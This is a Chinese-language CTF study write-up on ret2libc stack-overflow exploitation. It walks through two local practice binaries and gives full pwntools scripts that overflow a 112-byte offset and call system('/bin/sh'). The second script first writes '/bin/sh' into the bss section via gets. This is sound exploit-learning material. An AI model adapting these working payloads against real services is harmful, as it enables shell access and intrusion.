stackoverflow之ret2libc

ret2libc

ret2libc,基本ROP之一,控制程序执行libc中的函数。

通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。

一般是执行system('/bin/sh'),故需要知道system函数的地址。

binary1

image-20191205225740741

32位binary,开启NX保护机制,ret2shellcode不可行。动态编译,ret2syscall不可行。

1、IDA

image-20191205230145685

溢出空间=0x64+4+4+4=112,同时binary调用过system函数,存在system函数的plt表项。

image-20191205230355517

同时binary存在/bin/sh字符串。

2、ROP gadgets

/bin/sh:

1
ROPgadget --binary ret2libc1 --string '/bin/sh'

image-20191205231233330

system@plt:

1
objdump -d -j .plt ret2libc1 | grep 'system'

image-20191205231735513

3、pwn

image-20191206001721395

4、exploit

1
2
3
4
5
6
7
8
from pwn import *
offset=112
p = process('ret2libc1')
binsh_addr=0x08048720
system_plt=0x08048460
payload=flat(['\x90'*offset,system_plt,0xdeadbeef,binsh_addr])
p.sendline(payload)
p.interactive()

image-20191205232515161

binary2

image-20191206002440964

32位binary,开启NX保护机制,ret2shellcode不可行。动态编译,ret2syscall不可行。

1、IDA

image-20191206100346191

溢出空间=0x64+4+4+4,binary调用过system函数,存在system函数的plt表项,但没有字符串/bin/sh

尽管没有/bin/sh,但binary中调用了gets函数,如此,字符串/bin/sh可以通过gets函数输入。

那么,接下来需要解决的问题就是,字符串/bin/sh通过gets函数输入到哪里进行存储?

一个明显的存储点,就是s即[ebp-64h]位置,然而在溢出位置输入字符串,然后再劫持回来执行system函数,会覆盖数据。

另一个位置就是bss段:

image-20191206113450309

buf2_bss_addr=binsh_addr=0x804a080

2、pwn

image-20191206123314606

3、ROP gadgets

1
ROPgadget --binary ret2libc2 --only 'pop|ret'

image-20191206111855834

4、exploit

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
offset = 0x64+4+4+4
p = process('./ret2libc2')
elf = ELF('./ret2libc2')
system_plt_addr = elf.plt['system']
gets_plt_addr = elf.plt['gets']
binsh_addr = 0x804a080
ebx_addr = 0x804843d
payload = flat(['\x90'*offset,gets_plt_addr,ebx_addr,binsh_addr,system_plt_addr,0xdeadbeef,binsh_addr])
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

image-20191206120104982

reference

github-ctf-wiki